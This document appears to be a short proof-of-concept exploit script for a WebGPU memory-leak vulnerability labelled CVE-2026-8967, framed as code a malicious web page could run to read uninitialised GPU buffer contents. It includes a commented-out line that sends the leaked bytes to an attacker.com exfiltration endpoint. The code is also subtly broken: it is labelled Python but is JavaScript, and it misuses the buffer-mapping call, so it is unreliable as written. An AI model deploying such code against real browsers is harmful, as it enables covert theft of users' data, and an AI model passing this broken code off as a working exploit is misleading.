The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-8967
// This script demonstrates how a malicious page might attempt to trigger the WebGPU info leak
async function exploitWebGPU() {
// Check if WebGPU is supported
if (!navigator.gpu) {
console.log("WebGPU is not supported on this browser.");
return;
}
try {
const adapter = await navigator.gpu.requestAdapter();
const device = await adapter.requestDevice();
// Create a buffer that might expose uninitialized memory due to the vulnerability
const bufferSize = 1024; // Adjust based on specific vulnerability requirements
const buffer = device.createBuffer({
size: bufferSize,
usage: GPUBufferUsage.COPY_SRC | GPUBufferUsage.MAP_READ,
mappedAtCreation: false // Do not initialize to trigger potential leak
});
// In a vulnerable version, mapping the buffer might reveal data from previous operations
// or other contexts due to improper sanitization.
const mappedBuffer = await buffer.mapAsync(GPUMapMode.READ);
const data = new Uint8Array(mappedBuffer);
// Check if data contains non-zero values (indicating potential memory leak)
let leakedData = [];
for (let i = 0; i < data.length; i++) {
if (data[i] !== 0) {
leakedData.push(data[i]);
}
}
if (leakedData.length > 0) {
console.log("[+] Potential sensitive data leaked from memory:", leakedData);
// Simulate exfiltration
// fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(leakedData) });
} else {
console.log("[-] No data leaked. Patched or non-vulnerable environment.");
}
buffer.destroy();
} catch (error) {
console.error("Error during WebGPU exploitation attempt:", error);
}
}
// Execute the PoC
exploitWebGPU();